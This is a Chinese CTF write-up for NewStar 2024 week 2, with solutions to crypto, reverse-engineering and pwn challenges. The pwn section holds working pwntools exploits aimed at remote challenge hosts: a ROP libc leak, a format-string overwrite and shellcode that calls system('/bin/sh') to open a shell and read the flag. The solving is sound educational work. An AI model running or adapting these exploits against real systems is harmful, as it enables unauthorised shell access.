[NewStar 2024] week2

news2025/2/24 15:14:37

Crypto

第2周的密码依然都是签到题

这是几次方? 疑惑!

给了个提示:hint = p^e + 10086 这里边不要当成乘幂,而且加法的优先级高于异或,所以p=hint ^ (e+10086)得到p就能正常解RSA了

Since you konw something

给的c是flag和key的字符异或,拿flag{这个头异或得到key(只有两字节)

茶里茶气

一个简单的tea加密

v2 = derta*32%p
for i in range(31,-1,-1):
    v2 = (v2-derta)%p
    v0 -= (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
    v1 -= (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p
    
long_to_bytes((v0<<99)+v1)
b'flag{f14gg9_te2_1i_7ea_7}'

Just one and more than two

RSA给了因子,直接求d解密即可

PWN

第2题还是挺新的。

My_GBC!!!!!

栈溢出题,但会把payload加下密,加密也很简单就是高3低5互换然后异或5a,只是没有pop rdx所以只能利用原来的值,每次只能泄露1字节,泄露完libc就可以直接getshell

from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
pop_rdi = 0x00000000004013b3 # pop rdi ; ret
pop_rsi = 0x00000000004013b1 # pop rsi ; pop r15 ; ret

def enc(pay):
   p2 = b''
   for v in pay:
       v2 = ((v>>3)|(v<<5))&0xff
       p2 += bytes([v2^0x5a])
   return p2

#p = process('./vuln')
#gdb.attach(p, "b*0x401343\nc")
p = remote('101.200.139.65', 39155)

pay = b'\0'*0x18
for i in range(6):
    pay += flat(pop_rdi,1,pop_rsi,elf.got['write']+i, 0, elf.plt['write'])

pay += p64(elf.sym['main'])

p.sendafter(b"Input something: \0O", enc(pay))

p.recvline()
p.recvline()
libc.address = u64(p.recv(6)+b'\0\0') - libc.sym['write']
bin_sh = next(libc.search(b'/bin/sh\0'))
print(f"{libc.address = :x}")

pay = b'\0'*0x18 + flat(pop_rdi, bin_sh, libc.sym['system'])
p.sendafter(b"Input something: \0O", enc(pay))

p.interactive()

Inverted World

read不是标准函数,是从当前位置向前写。这样就会溢出到read函数的返回地址。这题比较新颖的并且用$0来代替/bin/sh。头回见。

from pwn import *
context(arch='amd64', log_level='debug')

p = remote('39.106.48.123', 13049)

for i in range(8):
    p.recvline()

pay = p64(0x40137c)+ b'A'*0x100
p.send(pay[::-1]+b'\n')

p.send(b'0$')

p.interactive()

 

easy fmt

先printf泄露再栈溢出,基础题

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

p = remote('39.106.48.123', 38698)

p.sendafter(b"data: \n", b'%16$p\n%19$p\n')
stack = int(p.recvline() ,16) - 8
libc.address = int(p.recvline(),16) - 0x29d90
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
print(f"{stack =:x} {libc.address = :x}")

#12,13
pay = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
for i,v in enumerate(pay):
    if v!=0:
        p2 = f"%13$n%{v}c%12$hhn".encode().ljust(0x20,b'\0') + flat(stack+i, stack-0x4c)
    else:
        p2 = f"%13$n%12$hhn".encode().ljust(0x20,b'\0') + flat(stack+i, stack-0x4c)
    p.sendafter(b"data: \n", p2)

p.sendafter(b"data: \n", b'cat flag\n')
p.sendafter(b"data: \n", b'cat flag\n')
p.send(b'cat flag\n')

p.interactive()

ez_game

栈溢出

from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.31.so')
elf = ELF('./attachment')
pop_rdi = 0x400783

p = remote('39.106.48.123', 16231)

p.sendafter(b"Welcome to NewStarCTF!!!!\n", b'\0'*0x58+ flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['func']))
p.recvline()
libc.address = u64(p.recvline()[:-1]+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")

p.sendafter(b"Welcome to NewStarCTF!!!!\n", b'A'*0x58+ flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))

p.interactive()

Bad Asm

shellcode限制了syscall要用异或构造,常用的有xor [rsi+rbx],xx和xor [rip],xx前边这个可构造做单位置的可见字符异或,后边这个可以地址未知情况下直接异或后边两字节。

from pwn import *
context(arch='amd64', log_level='debug')

p = remote('39.106.48.123', 34301)

shellcode = '''
mov rsp,rsi;
add rsp,0x70;
push rdi;pop rsi;
xor rdi,rdi;
push 0x70; pop rdx;
push 0x17; pop rbx;
xor byte ptr[rsi+rbx],0x40
'''
shellcode = asm(shellcode)+b'\x0f\x45'
p.sendlineafter(b"Input your Code : \n", shellcode)

sleep(0.5)
p.send(b'\x90'*0x20+ asm(shellcraft.sh()))
p.interactive()

REV

UPX

用upx解相壳,这是linux下的壳要用linux下的upx解

from pwn import p64, xor

s = [0x8500fad99f8f4de3,0x4b71c1444f623ecd,0x0000890b853a7a63]
data = [0x9b2effe3b9af60c4,0x7d5fee6e515610f5,0x0000b5759c2b6e7d]
xor(b''.join([p64(i) for i in s]), b''.join([p64(i) for i in data]),b'A')
b'flag{Do_you_know_UPX?}AA'

drink_TEA

这是个标准的tea跟例子一样的。TEA加密是最容易魔改的,换移位组合sum等。

from ctypes import * 
from pwn import u32,p32

def decrypt(v,k):
	v0=c_uint32(v[0])
	v1=c_uint32(v[1])
	delta=0x9e3779b9
	sum1=c_uint32(delta*32)
	for i in range(32):
		v1.value-=((v0.value<<4)+k[2])^(v0.value+sum1.value)^((v0.value>>5)+k[3])
		v0.value-=((v1.value<<4)+k[0])^(v1.value+sum1.value)^((v1.value>>5)+k[1])
		sum1.value-=delta
	return p32(v0.value)+p32(v1.value)

key = b'WelcomeToNewStar'
key = [u32(key[i:i+4]) for i in range(0,16,4)]

c = bytes.fromhex('78 20 F7 B3 C5 42 CE DA85 59 21 1A 26 56 5A 5929 02 0D ED 07 A8 B9 EE36 59 11 87 FD 5C 23 24'.replace(' ',''))
c = [u32(c[i:i+4]) for i in range(0,32,4)]

m = b''.join(decrypt(c[i:i+2],key) for i in range(0,8,2))
#flag{There_R_TEA_XTEA_and_XXTEA}

Ptrace

主程序father调起子程序,并且通过ptrace修改子程序的代码,实现隐藏关键值的目的,这里子程序是移4位,主程序改为3

  puts("Please input your flag:");
  __isoc99_scanf("%32s", &s, v4, v5, v6, v7, v8, v9);
  v11 = fork();
  if ( v11 )
  {
    if ( v11 <= 0 )
    {
      perror("fork");
      return -1;
    }
    wait(stat_loc);
    ptrace(PTRACE_POKEDATA, addr, addr, 3); #修改子进程中移位4->3
    ptrace(PTRACE_CONT, 0, 0, 0);
    wait(0);
  }
  else
  {
    ptrace(PTRACE_TRACEME, 0, 0, 0);
    execl("./son", "son", &s, 0);
  }
c = 'CC8D2CEC6F88EDEB2FEDAEEB4EAC2C8D8D2FEB6DCDEDEEEB0E8E4E2C6CACE7AF'
bytes([((i<<3)|(i>>5))&0xff for i in bytes.fromhex(c)])
#flag{Do_you_really_know_ptrace?}

 

ezencrypt

安卓题,java里先进行AES_ECB+base64再调用jni进行xor+rc4

key = b"IamEzEncryptGame" #title

key2 = b'meow'
#Python>idc.get_bytes(0x32c0,44).hex()
enc = 'c26c73f43a450eba47812a26f6796078b3646ddcc904323b9f329560ee8297e7ca3daa9576c59b1d89db985d'

#AES_ECB -> base64 -> xor -> RC4

#flag{0hh_U_kn0w_7h15_5ki11}

PangBai 泰拉记(1)

 这里开了反调,如果监测到启用了调试就会运行上边函数,正常运行就是下边。

这种东西一共就两个,可以都试吧。并不会增加难度,除非那个人非理解代码不可。

  if ( miao | IsDebuggerPresent() )
  {
    qmemcpy(v3, "nhvviCS", 7);
    v3[7] = 127;
    qmemcpy(v4, "R{e8%oCrdepIvebcR", 17);
    v4[17] = 127;
    qmemcpy(v5, "b>&ah{", sizeof(v5));
    for ( j = 0; j < 32; ++j )
      key[j] ^= v3[j];
  }
  else
  {
    qmemcpy(v7, "nhvviguMI?u\",o/fWivoM;", 22);
    v7[22] = 127;
    qmemcpy(v8, "Homy2.l#{", sizeof(v8));
    for ( k = 0; k < 32; ++k )
      key[k] ^= v7[k];
  }
key = b'key1key2key3key4key6key7key8key9'

c = b'can you find me can you find me?'

key2 = b"nhvviCS\x7fR{e8%oCrdepIvebcR\x7fb>&ah{" #
key3 = b"nhvviguMI?u\",o/fWivoM;\x7fHomy2.l#{"

xor(key,key3,c)
#b'flag{my_D3bugg3r_may_1s_banned?}'

 

Dirty_flowers

反汇编,就是针对IDA的,加花指令,比如jz a;jnz a;不管怎么样就跟到a,但IDA理解不了,会把前边加的EX理解成跳转然后就乱了。手工nop以后就能正常反编译。

key = b"dirty_flower"
v3 = [2, 5, 19, 19, 2, 30, 83, 31, 92, 26, 39, 67, 29, 54, 67, 7, 38, 45, 85, 13, 3, 27, 28, 45, 2, 28, 28, 48, 56, 50, 85, 2, 27, 22, 84, 15]

xor(bytes(v3),key)
#b'flag{A5s3mB1y_1s_r3ally_funDAm3nta1}'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2214906.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HTML5实现古典音乐网站源码模板2

文章目录 1.设计来源1.1 主界面1.2 古典音乐界面1.3 著名人物界面1.4 古典乐器界面1.5 历史起源界面1.6 联系我们界面 2.效果和源码2.1 动态效果2.2 源代码 源码下载万套模板&#xff0c;程序开发&#xff0c;在线开发&#xff0c;在线沟通 作者&#xff1a;xcLeigh 文章地址&a…

PostGIS:公交站点覆盖率分析

现有公共交通规划中常以“公交站点覆盖率”来评价公共交通服务覆盖情况,该指标通常用来评估公共交通服务的普及程度和便利性。以下,我们将基于PostGIS实现公交站点覆盖率分析。 1.公交站点覆盖率 公交站点覆盖率,也称公交站点服务面积率,是公交站点服务面积占城市用地总面…

gaussdb 主备 8 数据库安全学习

1 用户及权限 1.1 默认权限机制-未开启三权分立 1.1.1 数据库系统管理员具有与对象所有者相同的权限。也就是说对象创建后&#xff0c;默认只有对象所有者或者系统管理员可以查询、修改和销毁对象&#xff0c;以及通过GRANT将对象的权限授予其他用户。 1.1.2 GaussDB支持以下的…

DS1302时钟芯片+esp8266 / spi 学习 arduino

DS1302时钟芯片esp8266 这个芯片往上能找到很多资料,这里主要记录我手里的模块, 看了下芯片资料,说是当vcc 供电小于备用时用备用电源 这里直接没有接vcc 遇到的问题 1.esp8266复位短路导致串口断开: 当只接scl sda rst 三个引脚的时候 esp8266复位会 导致短路,也有可能…

★ C++进阶篇 ★ AVL树实现

Ciallo&#xff5e;(∠・ω< )⌒☆ ~ 今天&#xff0c;我将继续和大家一起学习C进阶篇第五章----AVL树实现 ~ ❄️❄️❄️❄️❄️❄️❄️❄️❄️❄️❄️❄️❄️❄️澄岚主页&#xff1a;椎名澄嵐-CSDN博客C专栏&#xff1a;★ C进阶篇 ★_椎名澄嵐的博客-CSDN博客 ❄️…

QT工程概述

在Qt中&#xff0c;创建 "MainWindow" 与 "Widget" 项目的主要区别在于他们的用途和功能范围&#xff1a; MainWindow&#xff1a;这是一个包含完整菜单栏、工具栏和状态栏的主窗口应用程序框架。它适合于更复 杂的应用程序&#xff0c;需要这些额外的用户…

Java | Leetcode Java题解之第479题最大回文数乘积

题目&#xff1a; 题解&#xff1a; class Solution {public int largestPalindrome(int n) {if (n 1) {return 9;}int upper (int) Math.pow(10, n) - 1;int ans 0;for (int left upper; ans 0; --left) { // 枚举回文数的左半部分long p left;for (int x left; x >…

uni-app关闭底部系统导航栏的控制按钮BUG

描述 plus.navigator.hideSystemNavigation(); 在uni-app中使用 plus.navigator.hideSystemNavigation(); 关闭导航栏时会出bug会留下一个黑框。这个bug基于手机&#xff1b; 平板的性能来决定出bug频率原因是&#xff1a;过早启用霸屏导致的&#xff08;过早使用plus.navig…

执行vue create XXX报错The operation was rejected by your operating system

创建项目&#xff1a; vue create my-project 报错&#xff1a; npm ERR! code EPERM npm ERR! syscall open npm ERR! path D:\Program Files\nodejs\node_cache\_cacache\tmp\5d2a6f8e npm ERR! errno -4048 npm ERR! Error: EPERM: operation not permitted, open D:\Pro…

18933 括号匹配问题

### 思路 1. **输入处理**&#xff1a;读取输入的字符串。 2. **匹配括号**&#xff1a;使用栈来匹配括号&#xff0c;记录无法匹配的左括号和右括号的位置。 3. **标注输出**&#xff1a;根据记录的位置&#xff0c;生成标注字符串&#xff0c;输出原始字符串和标注字符串。 …

车辆损伤评估数据集(提供分割和检测两种标注方式)6类4000张高分辨率图共9000余标注,6GB数据量

车辆损伤评估数据集&#xff08;提供分割和检测两种标注方式&#xff09; 标注类型包括 dent: 凹痕 scratch: 划痕 crack: 裂缝 glass shatter: 玻璃破碎 tire flat: 轮胎扁平 lamp broken: 车灯损坏 4000张高分辨率图共9000余标注&#xff0c;6GB数据量 车辆损伤评估数据集介…

复合泊松过程

复合泊松过程的均值、方差与特征函数 复合泊松过程的定义 复合泊松过程 ( Y(t) ) 是一种常见的随机过程&#xff0c;通常定义为&#xff1a; Y ( t ) ∑ k 1 N ( t ) X k Y(t) \sum_{k1}^{N(t)} X_k Y(t)k1∑N(t)​Xk​ 其中&#xff1a; ( N(t) ) 是一个强度为 ( \lambd…

IP地址与CDN提升网络速度

视频流媒体、在线游戏、或是电商购物&#xff0c;互联网在我们的工作生活中愈加不可或缺&#xff0c;人们对于网络的加载速度要求也越来越严苛。而IP地址与CDN的协同工作&#xff0c;对于互联网速度增加与稳定起这重大的作用。 一、CDN的工作原理 CDN是由分布在全球各地的服务…

P1439 【模板】最长公共子序列 Python 题解

【模板】最长公共子序列 题目描述 给出 1 , 2 , … , n 1,2,\ldots,n 1,2,…,n 的两个排列 P 1 P_1 P1​ 和 P 2 P_2 P2​ &#xff0c;求它们的最长公共子序列。 输入格式 第一行是一个数 n n n。 接下来两行&#xff0c;每行为 n n n 个数&#xff0c;为自然数 1 …

Shell脚本:分发文件到各个集群节点

找一个全局目录/root/bin 写脚本 touch xsync chmod 777 xsync #!/bin/bash#作者&#xff1a;ldj #时间&#xff1a;2024-10-15 #描述&#xff1a;拷贝文件#1. 判断参数个数 if [ $# -lt 1 ]thenecho "Error: Not Enough Argument!"exit fi#2.遍历集群所有机器 spac…

工业和建筑工地 安全帽-安全带识别数据集 yolo数据集 共2200张 已增强 标注

安全帽-安全带识别数据集 yolo数据集 共2200张 已增强 安全帽检测与安全带识别数据集 图像数量&#xff1a;2,200张增强后标注数量&#xff1a; belt&#xff08;安全带&#xff09;&#xff1a;3,197个head&#xff08;头部&#xff09;&#xff1a;326个helmet&#xff08;安…

asp.net Core 自定义中间件

内联中间件 中间件转移到类中 推荐中间件通过IApplicationBuilder 公开中间件 使用扩展方法 调用中间件 含有依赖项的 》》》中间件 参考资料

数据结构——排序(1)

数据结构——排序(1) 文章目录 数据结构——排序(1)一、排序1.概念&#xff1a;所谓排序&#xff0c;就是使一串记录&#xff0c;按照其中的某个或某些关键字的大小&#xff0c;递增或递减的排列起来的操作。 2.运用&#xff1a;购物筛选排序&#xff0c;院校排名等。 3.常见排…

业务的合并与分批

1.你中有我&#xff0c;我中有你 2.合久必分&#xff0c;分久必合 3.正负负正&#xff0c;正道无穷

MRI学习笔记-LItool使用教程,计算偏侧化指数lateralization index

偏侧化指数介绍 描述功能偏侧化最常用的方法之一是计算偏侧化指数&#xff0c;分别是左侧和右侧感兴趣区域&#xff08;ROI&#xff09;中值高于特定激活阈值的体素数。因此&#xff0c;LI值的范围从1&#xff08;左主导&#xff09;到1&#xff08;右主导&#xff09;。然而&…